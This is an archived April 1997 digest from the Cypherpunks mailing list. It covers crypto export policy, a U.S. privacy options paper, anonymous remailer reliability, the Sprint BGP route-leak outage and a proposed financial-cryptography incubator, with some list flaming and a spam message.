Message-ID: <199704280838.DAA08848@mailhub.amaranth.com>


-----BEGIN PGP SIGNED MESSAGE-----


In , on
04/27/97 at 12:01 PM,
   "Lester Gordon (temp)"  said:


>Have you seen what the notorious Don Wood of IPG infamy is up to now? He
>has a new web page up at `http://www.seymourtex.com/newisrael/ni.htm'. You
>won't believe it..

After his rants about reusable OTP using PRNG's I doubt anyone is surprised
that he is not playing with a full deck. I guess he should have spent more
time *IN* Israel and less time in Texas public libraries before writting
such drivel.

 Never overestimate the stupidity of others.

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii at amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: OS/2: The choice of the next generation.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Registered User E-Secure v1.1 ES000000

iQCVAwUBM2Rw4Y9Co1n+aLhhAQHEcwP/Rz3nKwiyWV4995u21B1sFeTmGglyM9wa
dCtmbtNx7auZWvKALVfonflZ1JW8U5GwoQgdPvsjUEaQ0ACxr1kvtOE3em8+zUd7
lyMqPswWj5QcLmCucISgWxU51ch0uAz+H7mdzpBBI5UYs6CoRm7gM85gZqqsIffi
3u6O5qyEttI=
=IBaP
-----END PGP SIGNATURE-----






From whgiii at amaranth.com  Mon Apr 28 01:50:25 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Mon, 28 Apr 1997 01:50:25 -0700 (PDT)
Subject: Crypto moves forward: Commerce Dept panel and SAFE markup
In-Reply-To: <97Apr26.185020edt.32257-1@brickwall.ceddec.com>
Message-ID: <199704280848.DAA08939@mailhub.amaranth.com>


-----BEGIN PGP SIGNED MESSAGE-----


In <97Apr26.185020edt.32257-1 at brickwall.ceddec.com>, on 04/26/97 at 04:50
PM,
   tz at execpc.com said:


>On Fri, 25 Apr 1997, Declan McCullagh wrote:

>> My lord, I'm agreeing with Jim Bell!
>> 
>> Right now, no controls exit on domestic crypto, though strict export
>> controls are in place.
>> 
>> The question is: Do we want to give up any domestic freedom in exchange
>> for a relaxation of export controls? (Congress is, after all, built on
>> compromises between warring factions.)
>> 
>> My instinct is to say "No." Let the courts strike down ITAR, EAR, and its
>> progeny, while we keep our freedoms domestically. 
>> 
>> -Declan

>I emailed Rep Goodlatte, but didn't get a response about this issue.  My
>main problem is that it becomes a felony to use encryption for anything
>that can be prosecuted if I take the legalese literally.  So if I have a
>GSM cell phone in a car that is illegally parked, it seems that I would
>fall under the definition.

>I would mind it less if, 1. There had to be a conviction for the main
>crime.  2. The main crime must be a serious felony (i.e. something far
>worse than a single overdrawn check).  3. The penaly for using encryption
>in furtherance should be less than that for the main crime.  4. encryption
>had to play an intrinsic role in the main crime.  5. It must go beyond
>common, everyday uses of encryption.

What I find troubling with the whole thing is the ideal that I *NEED* the
US Congress to pass a law giving me permision to exercise my 1st Amendment
Rights.

This is just another "bait and switch" scam by the government.

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii at amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: Friends don't let friends use Windows.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Registered User E-Secure v1.1 ES000000

iQCVAwUBM2RzQY9Co1n+aLhhAQFatAP/RLO83JvFuU4gIddlSdvSgGxLd1fM2DlV
GMWTJ8tuzCclvGLp+mnkfzviQjhoV17DZKz9JeDMUpnDYC0X5O8ixLEnYLOkwWiB
yF0avwsN+s9kQESFHNd8p/fybHvud007Oyg48g/WHQulLcRM01phhw2wcYx8ZuyO
VYFE5rPrHPY=
=ghIK
-----END PGP SIGNATURE-----






From hanabusa at bnn-net.or.jp  Mon Apr 28 02:14:17 1997
From: hanabusa at bnn-net.or.jp (Sh.Hanabusa)
Date: Mon, 28 Apr 1997 02:14:17 -0700 (PDT)
Subject: TV Documentary "Crypto Wars" ON AIR in Japan
Message-ID: <199704280914.SAA12808@Postbox.BNN-Net.OR.JP>


TV Documentary "CRYPTO WARS" (60min)
On air at 8pm Apr 28th (only in Japan)

------------------------------------------
Cast;

Sameer Parekh / C2NET
Ian Goldberg
Tim May
Bill Stewart
Hugh Daniel
Vince Cate

Phil Zimmermann / PGP Inc.

Eric Schmidt / Sun Microsystems
Jeff Treuhaft / Netscape Communications

Stewart Baker
Dorothy Denning
William Reinsh / Commerce Dept.
--------------------------------------------

Contents;

What is the cypherpunks?
RSA Conference
US Government's Export Controls
Ian Goldberg's 40bit RC5 crack
What is the NSA?
Feb. Cypherpunks Meeting at Stanford
PGP 1.0
Silicon Valley vs US Government
Strategy of the "C2 Net"
Discussion about "Key Recovery"
Financial Cryptography Conference in Anguilla

----------------------------------------------

Special thanks for your cooperations

   _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/
     Shuichiro Hanabusa (hanabusa at bnn-net.or.jp)
     Producer/ Special Programs 
     NHK Enterprises 21 Inc. 
     Location: Tokyo/ Japan
   _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/




From mark at unicorn.com  Mon Apr 28 02:41:49 1997
From: mark at unicorn.com (Mark Grant)
Date: Mon, 28 Apr 1997 02:41:49 -0700 (PDT)
Subject: Textual Analysis of Spam
Message-ID: 



I'm currently writing a spam-filter and bouncing messages based on header
information and keyword counts. This gets about 80% of the spam, but also
gives about 1% false positives. Has anyone done any more sophisticated
analysis of spam text than this? I can't find anything on the Web.

	Mark






From MailMan at mail1.access.digex.net  Mon Apr 28 03:38:41 1997
From: MailMan at mail1.access.digex.net (MailMan at mail1.access.digex.net)
Date: Mon, 28 Apr 1997 03:38:41 -0700 (PDT)
Subject: Entrepreneur's Candy Store
Message-ID: 


You're about to discover that not *everything* that lands in your e-mail
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[x] How Safe is Your Job? Take our revealing CyberQuiz and find out
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***NOTE***
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recipients by e-mail, if this message has reached you in error, please
accept our sincere apologies, and kindly send a reply with "Remove" in
the subject to be excluded from future contact.






From dmiller at prometheus.projectx.com.au  Mon Apr 28 04:11:20 1997
From: dmiller at prometheus.projectx.com.au (Damien Miller)
Date: Mon, 28 Apr 1997 04:11:20 -0700 (PDT)
Subject: Don Wood -- IPG
In-Reply-To: <199704280838.DAA08848@mailhub.amaranth.com>
Message-ID: <9704282112.ZM1406@prometheus.projectx.com.au>


On Apr 28,  3:36am, William H. Geiger III wrote:

> >Have you seen what the notorious Don Wood of IPG infamy is up to now? He
> >has a new web page up at `http://www.seymourtex.com/newisrael/ni.htm'. You
> >won't believe it..
>
> After his rants about reusable OTP using PRNG's I doubt anyone is surprised
> that he is not playing with a full deck. I guess he should have spent more
> time *IN* Israel and less time in Texas public libraries before writting
> such drivel.

I understand now!

This is the output of said PRNG.


Damien





From jya at pipeline.com  Mon Apr 28 05:12:07 1997
From: jya at pipeline.com (John Young)
Date: Mon, 28 Apr 1997 05:12:07 -0700 (PDT)
Subject: New USG Privacy Initiative
Message-ID: <1.5.4.32.19970428121019.006ea670@pop.pipeline.com>


The Administration has issued today for public comment a 
major new paper on privacy:

"Options for Promoting Privacy on the National Information 
Infrastructure"

Opening paragraphs:

This Options Paper explores the growing public concern 
about personal information privacy. The paper describes 
the status of electronic data protection and fair 
information practices in the United States today, 
beginning with a discussion of the Principles for 
providing and using personal information issued by the 
Information Infrastructure Task Force in 1995. It then 
provides an overview of new information technologies, 
which shows that personal information is currently 
collected, shared, aggregated, and disseminated at a 
rate and to a degree unthinkable just a few years ago. 
Government is no longer the sole possessor of extensive 
amounts of personal information about U.S. citizens; in 
recent years the acquisition of personal information by 
the private sector has increased dramatically.

We next consider in more detail the laws and policies 
affecting information privacy in four specific areas: 
government records, communications, medical records, and 
the consumer market. This examination reveals that 
information privacy policy in the United States consists 
of various laws, regulations and practices, woven together 
to produce privacy protection that varies from sector to 
sector. Sometimes the results make sense, and sometimes 
they do not. The degree of protection accorded to personal 
information may depend on the data delivery mechanism 
rather than on the type of information at issue. Moreover, 
information privacy protection efforts in the United States 
are generally reactive rather than proactive: both the 
public and the private sector adopt policies in response 
to celebrated incidents of nonconsensual disclosure 
involving readily discernable harm. Sometimes this 
approach leaves holes in the fabric of privacy protection.  

We then turn to the core question: in the context of the 
GII, what is the best mechanism to implement fair 
information practices that balance the needs of government, 
commerce, and individuals, keeping in mind both our interest 
in the free flow of information and in the protection of 
information privacy? At one end of the spectrum there is 
support for an entirely market-based response. At the other 
end of the spectrum, we are encouraged to regulate fair 
information practices across all sectors of the economy. 
In between these poles lie a myriad of options. 
 
In response to public concern, both government and private 
industry seem to be taking a harder look at privacy issues. 
As government and consumers become more aware of the GII's 
data collection, analysis and distribution capabilities, 
demand could foster a robust, competitive market for 
privacy protection. This raises the intriguing possibility 
that privacy could emerge as a market commodity in the 
Information Age. We recognize ongoing efforts to enhance 
industry self regulation to carry out the IITF Privacy 
Principles. We also discuss ways this self regulation might 
be enforced, and discuss a number of ways that government 
could facilitate development of a privacy market. 
 
We then consider a number of options that involve creation 
of a federal privacy entity. We discuss some of the many 
forms that such an entity could take and consider the 
advantages and disadvantages of the various choices. We also 
consider the functions that such an entity might perform, 
as well as various options for locating a privacy entity 
within the federal government.  

This paper presents a host of options for government and 
private sector action. Our ultimate goal is to identify 
the means to maintain an optimal balance between personal 
privacy and freedom of information in the digital 
environment. The next step is to receive and respond to 
public comment on the report in order to develop consensus 
regarding the appropriate allocation of public and private 
sector responsibility for implementation of fair 
information practices. 

---------

   http://www.iitf.nist.gov/ipc/privacy.htm  (216K)

We've mirrored it at:

   http://jya.com/privacy.htm
 






From bgrosman at healey.com.au  Mon Apr 28 05:39:38 1997
From: bgrosman at healey.com.au (Benjamin Grosman)
Date: Mon, 28 Apr 1997 05:39:38 -0700 (PDT)
Subject: Don Wood -- IPG
In-Reply-To: <199704280838.DAA08848@mailhub.amaranth.com>
Message-ID: <33649A3D.1CD32872@healey.com.au>


> I understand now!
> 
> This is the output of said PRNG.
> 
> Damien

Exactly! But _only_ after using exact same output as input...how's
_that_ for a true RNG? ;)

Ben





From nobody at huge.cajones.com  Mon Apr 28 05:47:56 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Mon, 28 Apr 1997 05:47:56 -0700 (PDT)
Subject: Accounts payable
Message-ID: <199704281247.FAA06767@fat.doobie.com>


Here, Timothy C[unt] Mayonnaise descends into total inanity. 
He should have a cold shower and/or a Turkish coffee.

        ///////
        \-oo-/  Timothy C[unt] Mayonnaise
         \--/
          \/






From jya at pipeline.com  Mon Apr 28 06:00:16 1997
From: jya at pipeline.com (John Young)
Date: Mon, 28 Apr 1997 06:00:16 -0700 (PDT)
Subject: NII Privacy Paper Notice
Message-ID: <1.5.4.32.19970428125828.008a572c@pop.pipeline.com>


See today's Federal Register notice for the NII Privacy Paper:

   http://jya.com/omb042897.txt

It gives the cut-off date for comments, where to send them
and background of the paper.






From wombat at mcfeely.bsfs.org  Mon Apr 28 06:08:28 1997
From: wombat at mcfeely.bsfs.org (Rabid Wombat)
Date: Mon, 28 Apr 1997 06:08:28 -0700 (PDT)
Subject: My Thread / Was--Re: Light Bulbs & newsgroups
In-Reply-To: <199704220056.RAA13633@adnetsol.adnetsol.com>
Message-ID: 




On Mon, 21 Apr 1997, Ross Wright wrote:

> On or About 21 Apr 97 at 15:42, Huge Cajones Remailer wrote:
> 
> > Rabid Wombat wrote:
> > > On Sun, 20 Apr 1997, lucifer Anonymous Remailer wrote:
> > > > Huge Cajones Remailer wrote:
> > > > > Dr D. Wrote:
> > > > > > Toto wrote:
> > > > > > > T.C. May Wrote:
> > > > > > > > Igor wrote:
> > > > > > > > > Blah, Blah, Blah wrote:
> 
> As I said this was on just about every mailing list that I read.  It 
> showed up first on a music related list.  
> 
> My question:  Why is this the only list that the thread is still 
> alive on?  Jim, can we get an AP pool up to KILL it?
> 

Careful; you're treading upon Tim's right to speak freely concerning the 
preservation of the intellectual property rights of light-bulb jokesters 
everywhere.

I must also remind you that you cannot kill a thread of this nature 
without calling someone a Nazi. Rules are rules.

-marsupialmonger









From gary at systemics.com  Mon Apr 28 06:11:50 1997
From: gary at systemics.com (Gary Howland)
Date: Mon, 28 Apr 1997 06:11:50 -0700 (PDT)
Subject: Don Wood -- IPG
In-Reply-To: <9704282112.ZM1406@prometheus.projectx.com.au>
Message-ID: <199704281311.PAA24765@internal-mail.systemics.com>


> On Apr 28,  3:36am, William H. Geiger III wrote:
> 
> > >Have you seen what the notorious Don Wood of IPG infamy is up to now? He
> > >has a new web page up at `http://www.seymourtex.com/newisrael/ni.htm'. You
> > >won't believe it..
> >
> > After his rants about reusable OTP using PRNG's I doubt anyone is surprised
> > that he is not playing with a full deck. I guess he should have spent more
> > time *IN* Israel and less time in Texas public libraries before writting
> > such drivel.
> 
> I understand now!
> 
> This is the output of said PRNG.

No, I think it is a true RNG!  If we can figure out a way to hook his brain up 
to our key generator ...

Gary






From raph at CS.Berkeley.EDU  Mon Apr 28 06:50:36 1997
From: raph at CS.Berkeley.EDU (Raph Levien)
Date: Mon, 28 Apr 1997 06:50:36 -0700 (PDT)
Subject: List of reliable remailers
Message-ID: <199704281350.GAA19873@kiwi.cs.berkeley.edu>


   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list at kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys at kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list at kiwi.cs.berkeley.edu.

$remailer{"extropia"} = " cpunk pgp special";
$remailer{"mix"} = " cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = " cpunk mix pgp hash latent cut post ek";
$remailer{"exon"} = " cpunk pgp hash latent cut ek";
$remailer{"haystack"} = " cpunk mix pgp hash latent cut ek";
$remailer{"lucifer"} = " cpunk mix pgp hash latent cut ek";
$remailer{"jam"} = " cpunk mix pgp hash middle latent cut ek";
$remailer{"winsock"} = " cpunk pgp pgponly hash cut ksub reord";
$remailer{'nym'} = ' newnym pgp';
$remailer{"balls"} = " cpunk pgp hash latent cut ek";
$remailer{"squirrel"} = " cpunk mix pgp pgponly hash latent cut ek";
$remailer{"middle"} = " cpunk mix pgp hash latent cut ek reord";
$remailer{'cyber'} = ' alpha pgp';
$remailer{"dustbin"} = " cpunk pgp hash latent cut ek mix reord middle";
$remailer{'weasel'} = ' newnym pgp';
$remailer{"reno"} = " cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{"wazoo"} = " cpunk mix pgp hash latent cut ek";
$remailer{"shaman"} = " cpunk pgp hash latent cut ek";
$remailer{"hidden"} = " cpunk pgp hash latent cut";
catalyst at netcom.com is _not_ a remailer.
lmccarth at ducie.cs.umass.edu is _not_ a remailer.
usura at replay.com is _not_ a remailer.
remailer at crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix)
(weasel squirrel)

The alpha and nymrod nymservers are down due to abuse. However, you
can use the nym or weasel (newnym style) nymservers.

The cyber nymserver is quite reliable for outgoing mail (which is
what's measured here), but is exhibiting serious reliability problems
for incoming mail.

The squirrel and winsock remailers accept PGP encrypted mail only.

403 Permission denied errors have been caused by a flaky disk on the
Berkeley WWW server. This seems to be fixed now.

The penet remailer is closed.

Last update: Mon 28 Apr 97 6:45:41 PDT
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
hidden   remailer at hidden.net              +####*##+#*#     2:43 100.00%
nym      config at nym.alias.net             #**#****+*#*     6:22 100.00%
winsock  winsock at rigel.cyberpass.net      -.---------+  3:46:09  99.97%
mix      mixmaster at remail.obscura.com     -+.-+++++.-+  4:43:57  99.95%
cyber    alias at alias.cyberpass.net         ++++++++++*    34:08  99.93%
balls    remailer at huge.cajones.com        #### .#*####     4:06  99.89%
weasel   config at weasel.owl.de             --+-+--+-++   1:59:30  99.81%
squirrel mix at squirrel.owl.de              --+++--+-++   1:58:54  99.78%
reno     middleman at cyberpass.net          **-*+ +-+.--  1:22:46  99.72%
replay   remailer at replay.com               * *+ * ****     6:38  99.57%
lucifer  lucifer at dhp.com                  ++++++ +++++    35:57  99.56%
jam      remailer at cypherpunks.ca             ** * ****    11:25  89.98%
extropia remail at miron.vip.best.com        .-           20:55:08  19.68%
exon     remailer at remailer.nl.com            #          1:06:10  18.60%
dustbin  dustman at athensnet.com            -             2:47:22   7.22%
shaman   remailer at lycaeum.org                             21:34   1.15%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien





From dlv at bwalk.dm.com  Mon Apr 28 07:36:09 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 28 Apr 1997 07:36:09 -0700 (PDT)
Subject: Cato forum on liquor advertising and electronic media
In-Reply-To: <199704280540.AAA00449@smoke.suba.com>
Message-ID: 


snow  writes:

> > Cigarette advertizing is what created TV in the U.S.
> 
> 	Is this an argument _for_ banning cigarette ads, or against?
> 

Neither.  It's a statement of fact - in the 40's and 50's and early 60's
cigarette ads were the majoroty of TV ads (and most of the rest were  liquor
ads).  The capital needed to build the infrastructure to produce the TV shows
came from the cigarette ads.  If there were no cigarette ads in the '50's, then
US TV would probably remain as capital-starved as, say, BBC. I'm not sure if
that would be a GOOD THING or a BAD THING.

I also don't think the gubmint has any business regulating any form of
advertising.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From wombat at mcfeely.bsfs.org  Mon Apr 28 08:20:38 1997
From: wombat at mcfeely.bsfs.org (Rabid Wombat)
Date: Mon, 28 Apr 1997 08:20:38 -0700 (PDT)
Subject: Staale & Elm
In-Reply-To: <199704280005.RAA18503@slack.lne.com>
Message-ID: 


> > I have been noticing a problem contacting sites all over Northern and Central
> > Europe.
> > 

Sprint's network was somewhat overloaded due to the bogus routes
redirecting traffic onto their network. I doubt the problem spread as far
as Europe, at least on a widespread basis. We have about 200 sites
worldwide, only a few actually connected to Sprint. We only saw
intermittent failures reaching some sites for about an hour. 

The problem occured at about 11:30 a.m. EDT, when the routers in question 
began sending invalid paths. The routers were shutdown at 12:15. 
Re-convergence might have taken another 20 mins. or so.

>   A problem at an Internet service provider in Virginia
>   triggered a massive logjam on the Internet Friday, but
>   the trouble was cleared up later in the day, Sprint
>   Corp. said. A customer of MAI Network Services, a
>   McLean, Va.-based Internet provider that is among
>   900 companies that buy wholesale access to the Net
>   from Sprint, entered 10,000 duplicate routes to the
>   Internet backbone.   That caused massive access delays for
>   an undetermined number of users, a Sprint spokes
>   man said. 


FLX. ASN 7007.

The Sprint router took in 72,000 bogus routes from the downstream 
source before it crapped out. A lot of traffic ended up being re-directed 
to Sprint as a result of the route problem, causing them to haul higher 
than normal levels of traffic.


> 
> 
> I wonder how long it'll be possible for unauthenticated/unapproved people to
> mess around with routers.

Sprint probably should have been filtering routes / AS_PATH (insert debate
here) from its downstreams. This is a management challenge, but Bad
Things(tm) can happen if you don't. 

> can't bring down the whole net, they'll just pass a law requiring
> that anyone who wants the 'enable' password to a cisco have first
> passed a government-approved "Internet Administrators Class" and
> gotten a license.

Why are you picking on Cisco? The equipment in question was a pair of Bay
Networks BLN routers. The jury is still out as to whether this was a Bay
bug or a config screw-up. 

-r.w.






From ericm at lne.com  Mon Apr 28 08:44:55 1997
From: ericm at lne.com (Eric Murray)
Date: Mon, 28 Apr 1997 08:44:55 -0700 (PDT)
Subject: Staale & Elm
In-Reply-To: 
Message-ID: <199704281539.IAA20003@slack.lne.com>


Rabid Wombat writes:
> 
> > > I have been noticing a problem contacting sites all over Northern and Central
> > > Europe.
> > > 
> 
> Sprint's network was somewhat overloaded due to the bogus routes
> redirecting traffic onto their network. I doubt the problem spread as far
> as Europe, at least on a widespread basis. We have about 200 sites
> worldwide, only a few actually connected to Sprint. We only saw
> intermittent failures reaching some sites for about an hour. 

Hmm.  I saw problems friday and saturday.  Saturday I was checking URLs in
a book on hacking and security that I'm editing, and a number of
ordinarily reachable sites were down.  Traceroutes to them showed
wierd routing problems, mostly routing 'loops'.


> > I wonder how long it'll be possible for unauthenticated/unapproved people to
> > mess around with routers.
> 
> Sprint probably should have been filtering routes / AS_PATH (insert debate
> here) from its downstreams. This is a management challenge, but Bad
> Things(tm) can happen if you don't. 
> 
> > can't bring down the whole net, they'll just pass a law requiring
> > that anyone who wants the 'enable' password to a cisco have first
> > passed a government-approved "Internet Administrators Class" and
> > gotten a license.
> 
> Why are you picking on Cisco? The equipment in question was a pair of Bay
> Networks BLN routers. The jury is still out as to whether this was a Bay
> bug or a config screw-up. 

I'm not picking on cisco, you missed my point.


In all other 'infrastructures' (i.e. phone company, roads)
only officially-sanctioned people are allowed access to work on things.
With the phone company, it's phone company employees & contractors, with
the roads its government employees and contractors.  When private
extensions are added, they're restricted and compartlemtalized so
that they can't affect the entire infrastructure... a private
corporate phone switch's misprogramming doesn't bring down Pac Bell.

OTOH, with the internet, this is not true.  IP routing is complex enough
that a router configurating error (or perhaps a series of them, maybe
Sprint was accepting BGP sessions from someone they shouldn't have)
_can_ damage major parts of the net.

Engineers (like most people on this list) first thought when faced with
a situation like this is to design more fail-safes into the system to
prevent a clueless admin or a router with a software error from
causing so much damage.  But politicians, when faced with the same
situation, their first reaction is "We gotta have a Law".

My prediction is that if things like this keep happening, the Internet will
be declared a "defense interest computer system" or something similar, and
only "approved personnel" will be allowed to mess with net-connected routers.
Hence mentioning the 'enable' (root) password on ciscos- I figured
more people here are familiar with them since they're the most popular
router and the OS's look and feel hasn't changed substantialy for
the last 5 years or so.



-- 
   Eric Murray  ericm at lne.com         Privacy through technology!
  Network security and encryption consulting.    PGP keyid:E03F65E5 





From real at freenet.edmonton.ab.ca  Mon Apr 28 08:49:05 1997
From: real at freenet.edmonton.ab.ca (Graham-John Bullers)
Date: Mon, 28 Apr 1997 08:49:05 -0700 (PDT)
Subject: Accounts payable
In-Reply-To: <199704281247.FAA06767@fat.doobie.com>
Message-ID: 


On Mon, 28 Apr 1997, Huge Cajones Remailer wrote:

I think Vulis needs each of us to send ten copies of this back to him.

> Here, Timothy C[unt] Mayonnaise descends into total inanity. 
> He should have a cold shower and/or a Turkish coffee.
> 
>         ///////
>         \-oo-/  Timothy C[unt] Mayonnaise
>          \--/
>           \/
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real at freenet.edmonton.ab.ca : ab756 at freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From stewarts at ix.netcom.com  Mon Apr 28 09:39:22 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Mon, 28 Apr 1997 09:39:22 -0700 (PDT)
Subject: Don Wood -- IPG
In-Reply-To: <9704282112.ZM1406@prometheus.projectx.com.au>
Message-ID: <3.0.1.32.19970428080738.0063ea78@popd.ix.netcom.com>


At 03:11 PM 4/28/97 +0200, Gary Howland wrote:
>> This is the output of said PRNG.
>No, I think it is a true RNG!  If we can figure out a way to hook 
>his brain up to our key generator ...

I'd prefer the Lava Lamp, thanks :-)

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From rah at shipwright.com  Mon Apr 28 10:04:25 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Mon, 28 Apr 1997 10:04:25 -0700 (PDT)
Subject: e$: Time for a Financial Cryptography "IdeaLab"?
Message-ID: 



Last week, a close friend handed me a February issue of Inc. magazine, the
one with an article in it about Bill Gross and his IdeaLab project in
Pasadena. Since then, I haven't been able to get Yet Another Idea out of my
mind.


Gross, a veteran entrepreneur with quite a few successful software startups
to his name, has set up a company which uses an investment pool to create
and spin off a rapid succession of small internet startups, using a sort of
"internet startup in a box" approach, all built around a common core of
financial, legal, and marketing people. The idea is to free an entrepreneur
to concentrate on designing, building, and selling the startup's product,
in this case, some kind of internet software or service. IdeaLab takes a
minority equity position in return for its money.

A Boston company which has been doing something like this, only on an
internal basis, is Thermo-Electron Corporation, who has made much more
money spinning off new companies than it ever could as a stand-alone
industrial enterprise.

IdeaLab thinks that it can have this kind of approach with internet
startups above all others because everything on the net happens so fast and
the cost of entry is so small that there are actual diseconomies of scale.
Moore's Law in a geodesic market as capital surfactant, in other words. :-).

Anyway, you can read more about all this, and IdeaLab itself, in the Inc.
Magazine archives: .


So, after a couple of years of sitting on the sidelines and cheering people
on (I've had a bunch of fun, but my tax return for last year was a miracle
of financial brevity :-)), of second-guessing the market and being right
more often than I'd care to think about, I've decided to get into the game
and play a bit myself, and see what happens.


What I propose to do is to create a Boston-based copy of the IdeaLab
concept, focusing on financial cryptography, and, in particular,
peer-to-peer internet transaction settlement: internet checking, digital
bearer certificate technology for cash and securities, micromoney
"mitochondria", that kind of stuff.

To do this, I want to collect a core group of financial, legal, and
marketing/promotion folks who would work for the lab company itself, and in
support of the startup firms it creates, until those firms earn enough
money to hire their own people for those jobs. So, I need people in those
disciplines who're not only familiar with the net, but also the idea of
geodesic markets, and of  financial cryptography, but, more important,
people who have participated in founding as many startup companies as
possible. Finding those people may be hard, but I think they're out there.

More important than that, I'm looking for a small initial group of "angel"
shareholders who not only invest in the first round of funding for the lab,
but can work as advisors to these usually very young technological
pioneers, and teach them to think in profit-and-loss terms. Over time, I'd
like to populate the advisor pool with successful graduates of the lab.

The first round of "angel" funding will be to get the lab started and start
the first few companies in areas where I think things are going to pop in
the transaction settlement market shortly. A second round would be big
enough to get participation from the institutional investment community,
but the capitalization of the entire project won't be huge. IdeaLab was
started with $5 million, for example. Right now, I think $10 million would
be the most I could ask for with a straight face for the whole effort. :-)
I'll leave dreamy discussions of some hypothetical hockey-stick investment
return curve for the prospectus, where it belongs. ;-).


I'm at the utter ground floor on this at the moment. No business plan, just
what I think is a pretty good idea.

So, I need all the help I can get. If you've any ideas, particularly if
you've worked on any of the components I need to make this work, I'd love
to hear from you.


Cheers,
Bob Hettinga




-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/








From rah at shipwright.com  Mon Apr 28 10:10:37 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Mon, 28 Apr 1997 10:10:37 -0700 (PDT)
Subject: DigiCash appoints CEO and...
Message-ID: 



--- begin forwarded text


Date: Mon, 28 Apr 1997 22:39:42 +1000
From: Andreas Furche 
Reply-To: andreas at digicash.com
MIME-Version: 1.0
To: ica at syd.dit.csiro.au
Subject: DigiCash appoints CEO and...
Sender: e-payments-owner at digicash.com
Precedence: bulk

+----------------------------------------------------------------------+
This message was addressed to:  e-payments at lists.commerce.net
+----------------------------------------------------------------------+

DIGICASH APPOINTS CEO, INCREASES OUTSIDE INVESTMENT, AND MOVES
HEADQUARTERS TO CALIFORNIA

MENLO PARK, CA (April 28, 1997) -- DigiCash Inc, a leader and pioneer in
smart card technology and secure and private Internet payments software,
today announced the appointment of Michael Nash as chief executive
officer (CEO) of its worldwide operations.
